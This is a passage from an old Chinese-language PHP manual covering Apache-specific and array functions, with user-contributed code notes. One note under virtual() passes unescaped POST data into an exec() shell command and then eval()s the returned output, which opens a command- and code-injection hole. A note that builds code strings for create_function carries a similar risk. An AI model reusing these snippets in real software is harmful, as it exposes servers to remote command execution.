apache_reset_timeout | 上一级 | apache_setenv


apache_setenv

(PHP 4 >= 4.2.0, PHP 5)

apache_setenv -- Set an Apache subprocess_env variable

说明

bool apache_setenv ( string variable, string value [, bool walk_to_top] )

apache_setenv() sets the value of the Apache environment variable specified by variable.

注: When setting an Apache environment variable, the corresponding $_SERVER variable is not changed.

参数

variable

The environment variable that's being set.

value

The new variable value.

walk_to_top

Whether to set the top-level variable available to all Apache layers.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Setting an Apache environment variable using apache_setenv()

<?php
apache_setenv("EXAMPLE_VAR", "Example Value");
?>

注释

注: apache_setenv() can be paired up with apache_getenv() across separate pages or for setting variables to pass to Server Side Includes (.shtml) that have been included in PHP scripts.

参见

apache_getenv()

add a note add a note User Contributed Notes
RLG
10-Jan-2006 08:16
If you are using mod_gzip or mod_deflate to compress HTML output, you're not able to send partial file to the browser....

To disable mod_deflate in PHP (if needed), you can tell Apache with this :

apache_setenv('no-gzip', '1');
guilleva at gmail dot com
29-Jul-2005 01:25
When you need to set the QUERY_STRING variable into a page included with the "virtual" function do this:

virtual ("some_page.shtml?$QUERY_STRING");

apache_setenv does not work for this case.
phpnotes at kipu dot co dot uk
04-Jun-2003 09:34
If you set a variable, either new or existing, the corresponding $_SERVER variable is not changed, and you will have to change it as well.
sixxgate at yahoo dot com
23-Jan-2003 07:56
When you want to set variables to pass to Server Side Includes (.shtml) included in PHP scripts, use this.
add a note add a note

后退 | 起点 | 前进
apache_response_headers | 上一级 | ascii2ebcdic


ascii2ebcdic

(PHP 3 >= 3.0.17)

ascii2ebcdic -- Translate string from ASCII to EBCDIC

说明

int ascii2ebcdic ( string ascii_str )

ascii2ebcdic() is an Apache-specific function which is available only on EBCDIC based operating systems (OS/390, BS2000). It translates the ASCII encoded string ascii_str to its equivalent EBCDIC representation (binary safe), and returns the result.

参数

ascii_str

The ASCII string that will be translated.

返回值

The EBCDIC representation of an ASCII string.

参见

ebcdic2ascii()

add a note add a note User Contributed Notes
buzuk at free dot fr
09-Dec-2004 10:29
If you need to convert IBM EBCDIC Comp or Comp-3 format (AS/400 Packed) you can use this function :

<?
/** Convert COMP or COMP-3 EBCDIC DATA
 ** @param binary $zComp Original EBCDIC Comp or Comp3 formated number
 ** @return int
 **/
function comp2int( $zComp) {
 $zTemp='';
 for ($i=0; $i<4; $i++)
   $zTemp.=sprintf("%08d", decbin(ord($zComp[$i])));
 return bindec($zTemp);
}
 ?>

This function doesn't work with signed numbers.
giorgini at interlogica dot it
10-Mar-2003 09:09
I needed to translate EBCDIC strings from an AS400, but our Apache build was on a plain x86, so I had to make some functions myself.

These functions will get a string as input and produce a string as output. I think they are pretty customizable for your own needs.

Sorry for the bad formatting :o)

Cheers!

<?php
// ascii 2 ebcdic
function a2e ($a) {
   $a2e = array(0, 1, 2, 3, 55, 45, 46, 47, 22, 5, 37, 11, 12, 13, 14, 15,16, 17,
18, 19, 60, 61, 50, 38, 24,
25, 63, 39, 28, 29, 30, 31,
64, 79,127,123, 91,108, 80,
125, 77, 93, 92, 78,107, 96, 75, 97,240,241,242,243,244,245,246,
247,248,249,122, 94, 76,126,110,
111,124,193,194,195,
196,197,198,199,200,201,209,
210,211,212,213,214,215,216,
217,226,227,228,229,230,231,232,
233, 74,224, 90, 95,109,121,129,130,131,132,
133,134,135,136,137,145,146,147,
148,149,150,151,152,153,162,163,
164,165,166,167,168,169,192,106,
208,161, 7,32, 33, 34, 35, 36, 21,
6, 23, 40, 41, 42, 43, 44, 9, 10, 27,
48, 49, 26, 51, 52, 53, 54, 8, 56, 57,
58, 59, 4, 20, 62,225,65, 66, 67, 68,
69, 70, 71, 72, 73, 81, 82, 83, 84, 85, 86, 87,88, 89, 98, 99,100,101,102,103,104,105,112,113,
114,115,116,117,118,119,120,128,138,
139,140,141,142,143,144,154,155,156,
157,158,159,160,170,171,172,173,174,
175,176,177,178,179,180,181,182,183,
184,185,186,187,188,189,190,191,202,
203,204,205,206,207,218,219,220,221,
222,223,234,235,236,237,238,239,250,
251,252,253,254,255);
   $e = '';
   for ($i = 0 ; $i < strlen($a) ; $i++) { $e .= chr($a2e[ord(substr($a,$i,1))]); }
   return $e;
}

// ebcdic 2 ascii
function e2a ($e) {
   $e2a = array(0, 1, 2, 3,156, 9,134,127,151,141,
142, 11, 12, 13, 14, 15,16, 17, 18,
19,157,133, 8,135, 24, 25,146,143,
28, 29, 30, 31,128,129,130,131,132, 10, 23, 27,136,137,138,139,140, 5, 6, 7,144,145, 22,147,148,149,150, 4,152,153,154,155, 20, 21,158, 26,32,160,161,162,163,164,165,166,
167,168, 91, 46, 60, 40, 43, 33,38,169,170,171,172,173,174,175,
176,177, 93, 36, 42, 41, 59, 94,45, 47,178,179,180,181,182,183,184,185,
124, 44, 37, 95, 62, 63,186,187,188,
189,190,191,192,193,
194, 96, 58, 35, 64, 39, 61, 34,195,
 97, 98, 99,100,101,102,103,104,105,
196,197,
198,199,200,201,202,106,107,108,109,
110,111,112,113,114,203,204,205,206,
207,208,209,126,115,116,117,118,119,
120,121,122,210,211,212,213,214,215,
216,217,218,219,220,221,222,223,224,
225,226,227,228,229,230,231,123, 65,
66, 67, 68, 69, 70, 71, 72, 73,232,233,
234,235,236,237,125, 74, 75, 76, 77,
78, 79, 80, 81, 82,238,239,240,241,242,
243,92,159, 83, 84, 85, 86, 87, 88, 89, 90,244,245,246,247,248,249,48, 49,
50, 51, 52, 53, 54, 55, 56, 57,250,251,
252,253,254,255);
   $a = '';
   for ($i = 0 ; $i < strlen($e) ; $i++) { $a .= chr($e2a[ord(substr($e,$i,1))]); }
   return $a;
}
?>
add a note add a note

后退 | 起点 | 前进
apache_setenv | 上一级 | ebcdic2ascii


ebcdic2ascii

(PHP 3 >= 3.0.17)

ebcdic2ascii -- Translate string from EBCDIC to ASCII

说明

int ebcdic2ascii ( string ebcdic_str )

ebcdic2ascii() is an Apache-specific function which is available only on EBCDIC based operating systems (OS/390, BS2000). It translates the EBCDIC encoded string ebcdic_str to its equivalent ASCII representation (binary safe), and returns the result.

参数

ebcdic_str

The EBCDIC string that will be translated.

返回值

The ASCII representation of an EBCDIC string.

参见

ascii2ebcdic()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ascii2ebcdic | 上一级 | getallheaders


getallheaders

(PHP 3, PHP 4, PHP 5)

getallheaders -- Fetch all HTTP request headers

说明

array getallheaders ( void )

Fetches all HTTP requests from the current request.

This function is an alias for apache_request_headers(). Please read the apache_request_headers() documentation for more information on how this function works.

此函数仅在 PHP 作为 Apache 模块安装时才可使用。

返回值

An associative array of all the HTTP headers in the current request, or FALSE on failure.

更新日志

版本 | 说明
4.3.0 | Became an alias for apache_request_headers(). Essentially, it was renamed. This is because this function only works with Apache.

注释

注: 自 PHP 4.3.3 起也可以在 Netscape/iPlanet/SunONE 服务器的 NSAPI server module 中使用本函数。

参见

apache_response_headers()

add a note add a note User Contributed Notes
tigr at mail15 dot com
19-May-2006 07:08
And even better one, that absolutely mimics getallheaders behaviour (including keynames - first character in each word is uppercase and words separated with '-' instead of underscore), and still does not use regexp:
<?php
function emu_getallheaders() {
   foreach($_SERVER as $name => $value)
       if(substr($name, 0, 5) == 'HTTP_')
           $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
   return $headers;
}
?>
tigr at mail15 dot com
19-May-2006 06:44
Just a bit faster version of ZevS' function (does not use regular expressions and does not require POSIX regexps that is in PECL in php6):
<?php
function emu_getallheaders() {
   foreach($_SERVER as $name => $value)
       if(substr($name, 0, 5) == 'HTTP_')
           $headers[substr($name, 5)] = $value;
   return $headers;
}
?>
lorro at lorro dot hu
19-Apr-2005 09:25
Beware that RFC2616 (HTTP/1.1) defines header fields as case-insensitive entities. Therefore, array keys of getallheaders() should be converted first to lower- or uppercase and processed such.
ZevS
18-Apr-2005 04:24
if PHP installed not as Apache-module:

<?php
function emu_getallheaders() {
   foreach($_SERVER as $h=>$v)
       if(ereg('HTTP_(.+)',$h,$hp))
           $headers[$hp[1]]=$v;
   return $headers;
}
?>

I put this code to file "/var/www/include", and edit php.ini:
auto_prepend_file = "/var/www/include"
jukkaho at mail dot student dot oulu dot fi
17-Jan-2003 06:14
This function really is useful. Although $_SERVER['HTTP_*']-variables seem to include all request headers, they are really only the most generally needed - not all of them.

One example that needs this functionality is Digest Authentication (http://www.ietf.org/rfc/rfc2617.txt). When implementing it in PHP script, you can't read client's "Authorization"-header without this function.
linuxapps at yahoo dot com
22-Nov-2002 11:14
I think the previous poster is new to web development, so to keep the confusion down I recommend that other newbies read a tutorial on the HTTP protocol.

The poster meant well, but server variables have absolutely nothing to do with this function (nor the HTTP protocol). They aren't a part of the received browser header. getallheaders() will return the entire BROWSER header string to an array.

That's all it is supposed to do and as it was pointed out (by smclean) that this is a VERY USEFUL feature for certain applications. That's why I looked up the function in the first place!

So, yes, you must use the $_SERVER array to retrieve server variables. And to understand certain variables passed by the server read up on the CGI protocol.
kevin at frontierworld dot com
14-Aug-2000 09:58
You can read the HTTP username and password via the Authorization header by decoding its value from base 64 (if you're using the BASIC authorization scheme). For details about using DBM to maintain usernames and passwords, see http://www.web-hosting.com/dbm.html
jarl at diku dot dk
25-Mar-2000 07:15
All the environment variables can be found here:
http://www.php.net/manual/language.variables.predefined.php
add a note add a note

后退 | 起点 | 前进
ebcdic2ascii | 上一级 | virtual


virtual

(PHP 3, PHP 4, PHP 5)

virtual -- Perform an Apache sub-request

说明

bool virtual ( string filename )

virtual() is an Apache-specific function which is equivalent to <!--#include virtual...--> in mod_include. It performs an Apache sub-request. It is useful for including CGI scripts or .shtml files, or anything else that you would parse through Apache. Note that for a CGI script, the script must generate valid CGI headers. At the minimum that means it must generate a Content-type header.

To run the sub-request, all buffers are terminated and flushed to the browser, pending headers are sent too.

此函数仅在 PHP 作为 Apache 模块安装时才可使用。

参数

filename

The file that the virtual command will be performed on.

返回值

Performs the virtual command on success, or returns FALSE on failure.

更新日志

版本 | 说明
4.0.6 | This function may be used on PHP files. However, it is typically better to use include() or require() for PHP files.

注释

警告

The query string can be passed to the included file but $_GET is copied from the parent script and only $_SERVER['QUERY_STRING'] is filled with the passed query string. The query string may only be passed when using Apache 2. The requested file will not be listed in the Apache access log.

注: 自 PHP 4.3.3 起也可以在 Netscape/iPlanet/SunONE 服务器的 NSAPI server module 中使用本函数。

add a note add a note User Contributed Notes
ruibal_DELETED_p*AT*gmail__dot__com
06-Feb-2006 07:04
when php is installed as an apache module, this works pretty well for writing your own php preprocessor/information logger. For example, requests to any URI underneath pre.php will first be executed by pre.php, then returned to the user.
<?
$docroot        = $_SERVER['DOCUMENT_ROOT'];
$script_root    = str_replace( basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'] );
$script_ext    = substr( $_SERVER['SCRIPT_NAME'], strrpos( $_SERVER['SCRIPT_NAME'],'.' ) );
$fakework_root  = $script_root.basename( $_SERVER['SCRIPT_NAME'] ).'/';
$framework_root = $script_root.'_'.basename( $_SERVER['SCRIPT_NAME'], $script_ext ).'/';
$frequest_root  = dirname( $framework_root.substr( $_SERVER['PATH_INFO'], 1 )).'/';
$frequest_name  = basename( $_SERVER['PATH_INFO'] );
$frequest_ext  = (strrpos($frequest_name,'.')===FALSE ? FALSE : strtolower(substr( $frequest_name, ( strrpos( $frequest_name, '.' )+1 ) ) ) );
$frequest_full  = $frequest_root.$frequest_name;
$doc_frequest  = $docroot.$frequest_full;
$doc_framework  = $docroot.$framework_root;

$DO_PARSE = in_array( $frequest_ext, $chk_exts );
if( $DO_PARSE )
{
   $tmpfname = tempnam( $doc_framework.'tmp', 'aj_' ).($frequest_ext? ('.'.$frequest_ext) : '');
   if( ($to_parse=@file_get_contents($doc_frequest))===FALSE )
       $to_parse="404";
   $tmpvname = str_replace( $docroot, '', $tmpfname );
   $tmpvname = str_replace( '\\\\', '/', $tmpvname );
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
//  Do processing of data stored in $to_parse
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
   $to_parse = striptags( $to_parse );

// - - - - - - - - - - - - - - - - - - - - - - - - - - -
   $handle = fopen($tmpfname, "w");
   fwrite($handle, $to_parse);
   fclose($handle);
   @virtual( $tmpvname.$getvars );
   unlink( $tmpfname );
}
else
   @virtual( $frequest_full.$getvars );

?>

So all files in http://server/sub/pre.php/path/ are really located in http://server/sub/_pre/path/

All this needs is some kind of caching mechanism.

But yeah, this could be modified to add watermarks with the image functions, convert to xml with Tidy, check for extensions better with mimeTypes, proxy content with cURL, validate $_SERVER['HTTP_REFERER'] or $_SERVER['HTTP_USER_AGENT'], etc etc

This gives you much more over than the auto_prepend_file, and auto_append_file, for certain functionality

The key is the virtual function _because_ it delivers the modified content with an apache subrequest.
adam at varud dot com
23-Apr-2005 05:35
One should probably use include() instead of virtual() if it is straight html text.  There is no advantage to using the apache sub-process over php (escpecially since you're calling it from php).  You may end up with a warning like this:

Warning: virtual(): A session is active. You cannot change the session module's ini settings at this time.
abentley at panoramicfeedback dot com
18-Jun-2003 01:29
Here's an update to tomwk's code:
function safe_virtual( $filename )
{
   $curDir = getcwd();
   virtual ( $filename );
   chdir( $curDir );
}

This is better if you've already changed your current directory to be something other than your script's directory.  It works for PHP4 and above.
php at n-wise dot com
03-Jan-2003 03:15
I saw the note above about the length of the query string... but didn't know what it was, so have altered the code so it can post to the script.
Probly only works on nix systems as it makes use of the echo function...
This code also will look evaluate the result, so you can get cgi to dynamically create PHP (probly best to watch out that posted variables do not include script!)
<?
$CGISCRIPT="./cgi-bin/cgiscript.cgi";
 // preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

foreach ($HTTP_POST_VARS as $header=> $value ){
 if($QSTRING==""){
   $QSTRING = $header.'='.urlencode($value);
 }else{
   $QSTRING = $QSTRING.'&'.$header.'='.urlencode($value);
 }
}

putenv('REQUEST_METHOD=POST');
putenv('CONTENT_TYPE=application/x-www-form-urlencoded');
putenv('CONTENT_LENGTH='.strlen($QSTRING));
putenv('QUERY_STRING='.$QSTRING);
unset($return_array);
exec('echo "'.$QSTRING.'"| '.$CGISCRIPT, $return_array, $return_val);

//The 1st line of my script was "Content...." ... so remove it!
$firstline=array_shift($return_array);
//evaluate the code
eval('?>'.implode($return_array,''));

?>
chardin at ssc dot wisc dot edu
08-Nov-2002 07:00
If you are having problems using virtual include becuase of files being stored in different directories, a root-relative path will make things much easier:

virtual ("/root directory/directory/filename.htm/");

where root directory is the root directory of your site (ask your sys admin if you dont know what it is) Don't include the protocol or host name.

This will also allow you to move your files around your site without having to redirect your includes which is *very* helpfull
crazyted at crazyted dot com
11-Jan-2002 03:57
I have a header that's include()'ed on each of my pages. I then wanted to add a Perl script to that header file (header.php) via the virtual() command.

Since my header is used by documents in my /www folder along with other folders inside that (and inside those), and virtual() seems to take only relative paths, I had to write some code to dynamically get the path to the perl script.

Hope this helps some ppl out:

  $cwd = getcwd();
  $script_name = "cgi-bin/perl_script.pl";
  $count = substr_count($cwd, '/');
  $count = $count - 3;
  // get rid of extra absolute paths since my directory is /home/user/www

  // Add additional path information
  for($i = 1; $i <= $count; $i++){
   $script_name = "../".$script_name;
  }
  virtual($script_name);
s dot dan at free dot fr
31-Jul-2001 11:43
Another way of passing arguments:
If you have some CGI programs that depend on some libraries where you can't change the source code (in my case an online payment library), you can pass the arguments by changing some environment variables.

Of course the CGI program has to get the GET/POST variables in the usual manner.
It simulates, more or less, a direct call from the server to a CGI program:

// preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

// pay attention to the maximum length of the QUERY string.
while (list ($header, $value) = each ($HTTP_POST_VARS)){
  if (empty($QSTRING))
   $QSTRING = $header.'='.$value;
 else
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

putenv('REQUEST_METHOD=GET');
putenv('QUERY_STRING='.$QSTRING);

unset($return_array);
exec('my_CGI', $return_array, $return_val);

Now you can parse the output of 'my_CGI' in return_array.
logang at deltatee dot com
27-Apr-2001 10:21
If you want to pass all post and get values to the cgi script you can use this code:

$QSTRING = $QUERY_STRING;
while (list ($header, $value) = each ($HTTP_POST_VARS))
{
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

virtual($script.'?'.$QSTRING);

It takes all the values of $HTTP_POST_VARS and appends them in the proper format to the values you get in $QUERY_STRING
david at audiogalaxy dot com
29-Nov-1999 02:44
Virtual returns the HTTP entity header after the requested file, when it's the first output to the page.

The work-around to prevent seeing the header is, of course, to output something (such as echo " "; ) before calling virtual.
add a note add a note

后退 | 起点 | 前进
getallheaders | 上一级 | Array 数组函数


Array 数组函数

PHP 手册
后退 前进

V. Array 数组函数

简介

本类函数允许用多种方法来操作数组和与之交互。数组的本质是储存，管理和操作一组变量。

PHP 支持一维和多维数组，可以是用户创建或由另一个函数创建。有一些特定的数据库处理函数可以从数据库查询中生成数组，还有一些函数返回数组。

参见手册中的数组一节关于 PHP 是怎样实现和使用数组的详细解释。参见数组运算符一节关于怎样操作数组的其它方法。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量作为 PHP 核心的一部分一直有效。

CASE_LOWER (integer)

CASE_LOWER 用在 array_change_key_case() 中将数组的键名转换成小写字母。这也是 array_change_key_case() 的默认值。

CASE_UPPER (integer)

CASE_UPPER 用在 array_change_key_case() 中将数组的键名转换成大写字母。

排序顺序标识：

SORT_ASC (integer)

SORT_ASC 用在 array_multisort() 函数中，使其升序排列。

SORT_DESC (integer)

SORT_DESC 用在 array_multisort() 函数中，使其降序排列。

排序类型标识：用于各种排序函数

SORT_REGULAR (integer)

SORT_REGULAR 用于对对象进行通常比较。

SORT_NUMERIC (integer)

SORT_NUMERIC 用于对对象进行数值比较。

SORT_STRING (integer)

SORT_STRING 用于对对象进行字符串比较。

SORT_LOCALE_STRING (integer)

SORT_LOCALE_STRING 基于当前区域来对对象进行字符串比较。PHP 4.4.0 和 5.0.2 新加。

COUNT_NORMAL (integer)

COUNT_RECURSIVE (integer)

EXTR_OVERWRITE (integer)

EXTR_SKIP (integer)

EXTR_PREFIX_SAME (integer)

EXTR_PREFIX_ALL (integer)

EXTR_PREFIX_INVALID (integer)

EXTR_PREFIX_IF_EXISTS (integer)

EXTR_IF_EXISTS (integer)

EXTR_REFS (integer)

参见

参见 is_array()，explode()，implode()，split()，preg_split() 和 unset()。

【译者注】本章中出现的“关联数组”或“结合数组”指的是键名为字符串的数组，“索引”和“键名”指的是同一样东西。“索引”多指数组的数字形式的下标。

目录
array_change_key_case -- 返回字符串键名全为小写或大写的数组
array_chunk -- 将一个数组分割成多个
array_combine -- 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
array_count_values -- 统计数组中所有的值出现的次数
array_diff_assoc -- 带索引检查计算数组的差集
array_diff_key -- 使用键名比较计算数组的差集
array_diff_uassoc -- 用用户提供的回调函数做索引检查来计算数组的差集
array_diff_ukey -- 用回调函数对键名比较计算数组的差集
array_diff -- 计算数组的差集
array_fill -- 用给定的值填充数组
array_filter -- 用回调函数过滤数组中的单元
array_flip -- 交换数组中的键和值
array_intersect_assoc -- 带索引检查计算数组的交集
array_intersect_key -- 使用键名比较计算数组的交集
array_intersect_uassoc -- 带索引检查计算数组的交集，用回调函数比较索引
array_intersect_ukey -- 用回调函数比较键名来计算数组的交集
array_intersect -- 计算数组的交集
array_key_exists -- 检查给定的键名或索引是否存在于数组中
array_keys -- 返回数组中所有的键名
array_map -- 将回调函数作用到给定数组的单元上
array_merge_recursive -- 递归地合并一个或多个数组
array_merge -- 合并一个或多个数组
array_multisort -- 对多个数组或多维数组进行排序
array_pad -- 用值将数组填补到指定长度
array_pop -- 将数组最后一个单元弹出（出栈）
array_product -- 计算数组中所有值的乘积
array_push -- 将一个或多个单元压入数组的末尾（入栈）
array_rand -- 从数组中随机取出一个或多个单元
array_reduce -- 用回调函数迭代地将数组简化为单一的值
array_reverse -- 返回一个单元顺序相反的数组
array_search -- 在数组中搜索给定的值，如果成功则返回相应的键名
array_shift -- 将数组开头的单元移出数组
array_slice -- 从数组中取出一段
array_splice -- 把数组中的一部分去掉并用其它值取代
array_sum -- 计算数组中所有值的和
array_udiff_assoc -- 带索引检查计算数组的差集，用回调函数比较数据
array_udiff_uassoc -- 带索引检查计算数组的差集，用回调函数比较数据和索引
array_udiff -- 用回调函数比较数据来计算数组的差集
array_uintersect_assoc -- 带索引检查计算数组的交集，用回调函数比较数据
array_uintersect_uassoc -- 带索引检查计算数组的交集，用回调函数比较数据和索引
array_uintersect -- 计算数组的交集，用回调函数比较数据
array_unique -- 移除数组中重复的值
array_unshift -- 在数组开头插入一个或多个单元
array_values -- 返回数组中所有的值
array_walk_recursive -- 对数组中的每个成员递归地应用用户函数
array_walk -- 对数组中的每个成员应用用户函数
array -- 新建一个数组
arsort -- 对数组进行逆向排序并保持索引关系
asort -- 对数组进行排序并保持索引关系
compact -- 建立一个数组，包括变量名和它们的值
count -- 计算数组中的单元数目或对象中的属性个数
current -- 返回数组中的当前单元
each -- 返回数组中当前的键／值对并将数组指针向前移动一步
end -- 将数组的内部指针指向最后一个单元
extract -- 从数组中将变量导入到当前的符号表
in_array -- 检查数组中是否存在某个值
key -- 从关联数组中取得键名
krsort -- 对数组按照键名逆向排序
ksort -- 对数组按照键名排序
list -- 把数组中的值赋给一些变量
natcasesort -- 用“自然排序”算法对数组进行不区分大小写字母的排序
natsort -- 用“自然排序”算法对数组排序
next -- 将数组中的内部指针向前移动一位
pos -- current() 的别名
prev -- 将数组的内部指针倒回一位
range -- 建立一个包含指定范围单元的数组
reset -- 将数组的内部指针指向第一个单元
rsort -- 对数组逆向排序
shuffle -- 将数组打乱
sizeof -- count() 的别名
sort -- 对数组排序
uasort -- 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
uksort -- 使用用户自定义的比较函数对数组中的键名进行排序
usort -- 使用用户自定义的比较函数对数组中的值进行排序

add a note add a note User Contributed Notes
vinaur at gmail dot com
07-Jun-2006 04:36
Regarding the array to string (parse_line) and string to array (parse_array) functions posted below by Kevin Law.

The functions will not work correctly if the array being parsed contains values that include commas and possibly parentheses.

To solve this problem I added urlencode and urldecode functions and the result looks like this:

<?php
function parse_line($array){
   $line = "";
   foreach($array AS $key => $value){
       if(is_array($value)){
           $value = "(". parse_line($value) . ")";
       }
       else
       {
           $value = urlencode($value);
       }
       $line = $line . "," . urlencode($key) . ":" . $value . "";
   }
   $line = substr($line, 1);
   return $line;
}

function parse_array($line){
   $q_pos = strpos($line, ":");
   $name = urldecode(substr($line,0,$q_pos));
   $line = trim(substr($line,$q_pos+1));
   $open_backet_pos = strpos($line, "(");

   if($open_backet_pos===false || $open_backet_pos>0){
       $comma_pos = strpos($line, ",");
       if($comma_pos===false){
           $result[$name] = urldecode($line);
           $line = "";
       }else{
           $result[$name] = urldecode(substr($line,0,$comma_pos));
           $result = array_merge($result, parse_array(substr($line,$comma_pos+1)));
           $line = "";
       }
   }else if ($open_backet_pos==0){
       $line = substr($line,1);
       $num_backet = 1;
       $line_char_array = str_split($line);
       for($index = 0; count($line_char_array); $index++){
           if($line_char_array[$index] == '('){
               $num_backet++;
           }else if ($line_char_array[$index] == ')'){
               $num_backet--;
           }
           if($num_backet == 0){
               break;
           }
       }
       $sub_line = substr($line,0,$index);
       $result[$name] = parse_array($sub_line);
       $line = substr($line,$index+2);
   }
   if(strlen($line)!=0){
       $result = array_merge($result, parse_array($line));
   }

   return $result;
}
?>
php_spam at erif dot org
28-May-2006 03:15
Public domain, yadda yadda.  This is an extension of the assocSort below, patched up a bit.  Feedback would be wonderful.

<?php

  function assocMultiSort(&$array,$keys,$directions=true) {
   if (!is_array($array) || count($array) == 0) return true;
   if (!is_array($keys)) { $keys = Array($keys); }

   //we want "current" instead of necessarily the "zeroth" element; there may not be a zeroth element
   $test = current($array);

   $assocSortCompare = '';

   for ($i=0,$count=count($keys);$i<$count;$i++) {
     $key = $keys[$i];
     if (is_array($directions)) {
       $direction = $directions[$i];
     } else {
       $direction = $directions;
     }
     if ($i > 0) $assocSortCompare .= 'if ($retval != 0) return $retval; ';
     $assocSortCompare .= '$ax = $a["'.$key.'"]; $bx = $b["'.$key.'"];';

     //TODO -- if it's "blank", search up the list until we find something not blank
     if (is_numeric($test[$key]) || ($test[$key] == ((int)$test[$key]))) {
       if ($direction) {
         $assocSortCompare.= ' $retval = ($ax == $bx) ? 0 : (($ax < $bx) ? -1 : 1);';
       } else {
         $assocSortCompare.= ' $retval = ($ax == $bx) ? 0 : (($ax < $bx) ? 1 : -1);';
       }
     } else {
       if ($direction) {
         $assocSortCompare.= ' $retval = strcmp($ax,$bx);';
       } else {
         $assocSortCompare.= ' $retval = strcmp($bx,$ax);';
       }
     }
   }

   $assocSortCompare.= ' return $retval;';
   $assocSortCompare = create_function('$a,$b',$assocSortCompare);
   $retval = usort($array,$assocSortCompare);
   return $retval;
  }

?>
ben
14-Apr-2006 05:59
In reference to the cleanArray function below, note that it checks the value using the empty() function and removes it. This will also remove the integer value 0 and the string "0" among other possibly unexpected things. Check the manual entry for empty().
g dot bell at NOSPAM dot managesys dot com dot au
03-Apr-2006 06:57
/*
function to give array of ranks. Handles ties.
input    $arr is zero based array to be ranked
       $order is the sorting order
           'asc' (default) ranks smallest as 1
           'desc' ranks largest as 1
output    zero based array of ranks.
Ties (repeated values) given equal (integer) values
*/
function array_rank($arr,$order='asc') {
   // $direction parameter
   foreach($arr as $being_ranked) {
       $t1 = $t2 = 0;
       if ($order == 'asc') {
           foreach ($arr as $checking) {
               if ($checking > $being_ranked) continue;
               if ($checking < $being_ranked) {
                   $t1++;
               } else {
                   $t2++; // equal so increment tie counter
               }
           }
       } elseif ($order == 'desc') {
           foreach ($arr as $checking) {
               if ($checking < $being_ranked) continue;
               if ($checking > $being_ranked) {
                   $t1++;
               } else {
                   $t2++; // equal so increment tie counter
               }
           }
       }
       $ranks[] = floor($t1 + ($t2 + 1) / 2);
   }
   return $ranks;
}
administrador(ensaimada)sphoera(punt)com
31-Mar-2006 08:37
With this simple function you can convert a (partial) bidimensional array into a XHTML table structure:
<?php

$table = array();
$table[1][1] = "first";
$table[2][1] = "second";
$table[5][3] = "odd one";
$table[1][2] = "third";

echo matrix2table($table);

function matrix2table($arr,$tbattrs = "width='100%' border='1'", $clattrs="align='center'"){
   $maxX = $maxY = 1;
   for ($x=0;$x<100;$x++){
       for ($y=0;$y<100;$y++){
           if ($arr[$x][$y]!=""){
               if ($maxX < $x) $maxX = $x;
               if ($maxY < $y) $maxY = $y;
           }
       }
   }
   $retval = "<table $tbattrs>\n";
   for ($x=1;$x<=$maxX;$x++){
       $retval.=" <tr>\n";
       for ($y=1;$y<=$maxY;$y++){
           $retval.= (isset($arr[$x][$y]))
           ?"  <td $clattrs>".$arr[$x][$y]."</td>\n"
           :"  <td $clattrs>&nbsp;</td>\n";
       }
       $retval.=" </tr>\n";
   }
   return $retval."</table>\n";
}

?>
more scripts at http://www.sphoera.com
elkabong at samsalisbury dot co dot uk
25-Mar-2006 06:31
Hello all! I've just been working on a system to automatically manage virtualhosts on an Apache box and I needed to duplicate some multidimensional arrays containing references to other multidimensional array some of which also contained references. These big arrays are defaults which need to be overwritten on a per-virtualhost basis, so copying references into the virtualhost arrays was not an option (as the defults would get corrupted).

After hours of banging me head on the wall, this is what I've come up with:
<?PHP # Tested on PHP Version 5.0.4
# Recursively set $copy[$x] to the actual values of $array[$x]
function array_deep_copy (&$array, &$copy) {
   if(!is_array($copy)) $copy = array();
   foreach($array as $k => $v) {
       if(is_array($v)) {
           array_deep_copy($v,$copy[$k]);
       } else {
           $copy[$k] = $v;
       }
   }
}
# To call it do this:
$my_lovely_reference_free_array = array();
array_deep_copy($my_array_full_of_references, $my_lovely_reference_free_array);
# Now you can modify all of $my_lovely_reference_free_array without
# worrying about $my_array_full_of_references!
?>
NOTE: Don't use this on self-referencing arrays! I haven't tried it yet but I'm guessing an infinate loop will occur...

I hope someone finds this useful, I'm only a beginner so if there's any fatal flaws or improvements please let me know!
alessandronunes at gmail dot com
19-Mar-2006 06:06
The Ninmja sugestion plus multidiomensional array search (recursive):

function cleanArray($array) {
   foreach ($array as $index => $value) {
       if(is_array($array[$index])) $array[$index] = cleanArray($array[$index]);
       if (empty($value)) unset($array[$index]);
   }
   return $array;
}
padraig at NOSPAM dot ohannelly dot com
15-Mar-2006 01:08
Re removing blank elements from arrays, this is even more concise:

<?php

$arraytest = array_diff($arraytest, array(""));

?>
Nimja
23-Feb-2006 11:35
A very clean and efficient function to remove empty values from an Array.

<?php
function cleanArray($array) {
   foreach ($array as $index => $value) {
       if (empty($value)) unset($array[$index]);
   }
   return $array;
}
?>
eddypearson at gmail dot com
06-Feb-2006 04:40
Little function to remove blank values from an array (will not reorder indexes however):

function CleanA($arr) {
while ($count < count($arr)) {
if ($arr[$count] == "") {
unset($arr[$count]);
}
$count++;
}
return $arr;
}
Sebastian
01-Feb-2006 06:58
xxellisxx at gmail dot com:

see implode(), it does exactly what you want, but quicker.

$array = array();
$string = implode( '', $array );
xxellisxx at gmail dot com
20-Jan-2006 01:03
Super simple way of converting an array to a string.
function array_to_string($array)
 {
  foreach ($array as $index => $val)
   {
   $val2 .=$val;
   }
  return $val2;
}
spam at madhermit dot net
10-Jan-2006 09:26
Here is a function that recursively flattens an multidimensional array while maintaining keys. Hopefully it is useful to someone..

Example Input:

Array
(
   [name] => John Doe
   [email] => johndoe@earthlink.net
   [addresses] => Array
       (
           [1] => Array
               (
